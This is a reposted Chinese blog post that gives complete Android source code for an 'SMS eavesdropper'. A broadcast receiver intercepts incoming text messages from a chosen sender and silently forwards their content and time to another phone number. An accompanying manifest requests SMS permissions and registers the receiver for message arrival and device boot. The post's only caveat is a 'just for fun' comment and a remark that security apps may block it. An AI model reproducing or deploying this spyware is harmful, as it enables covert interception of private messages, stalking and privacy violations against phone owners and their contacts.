android簡訊竊聽器,娛樂版,效果可以實現

來源:互聯網
上載者:User

標籤:android   package   public   簡訊   import   


廢話不多直接上代碼:

650) this.width=650;" src="http://img.baidu.com/hi/jx2/j_0013.gif" alt="j_0013.gif" />

package com.qiao.service;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
 * 注  純屬娛樂,請勿瞎搞,另手機裝有衛士之類的軟體會發生攔截
 * @author Administrator
 *
 */
public class MySmsService extends BroadcastReceiver{

    @Override
    public void onReceive(Context context, Intent intent) {
        //擷取簡訊實體內容
        Object [] pdus = (Object[]) intent.getExtras().get("pdus");
        //迭代簡訊內容
        for (Object pdu :pdus) {
            //對簡訊各部分進行組成
        SmsMessage message=    SmsMessage.createFromPdu((byte[]) pdu);
        //獲得簡訊寄件者
        String sender = message.getOriginatingAddress();
        //獲得簡訊內容
        String content =message.getMessageBody();
        Date date = new Date(message.getTimestampMillis());
        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
        String time =dateFormat.format(date);
        //處理所監聽到的簡訊
        sendSMS(sender,content,time);
        }
    }

    private void sendSMS(String sender, String content, String time) {
        
        if ("這裡填寫手機號-->發資訊的人".equals(sender)) {
            SmsManager manager = SmsManager.getDefault();
            
            ArrayList<String> texts = manager.divideMessage(content);
            for (String text : texts) {
                manager.sendTextMessage("這裡填寫監聽後需要發送給誰-->手機號", null, "time + " + time
                        + " " + text, null, null);
            }
        }
    }
    
}


以下是mainfest裡邊許可權之類的:

650) this.width=650;" src="http://img.baidu.com/hi/jx2/j_0013.gif" alt="j_0013.gif" />


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.qiao.smsreceiver"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.qiao.smsreceiver.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
      <!--   簡訊廣播接收器 -->
        <receiver android:name="com.qiao.service.MySmsService">
            <intent-filter >
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>


本文出自 “離落殤” 部落格,請務必保留此出處http://120476536.blog.51cto.com/2861641/1546220

android簡訊竊聽器,娛樂版,效果可以實現

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.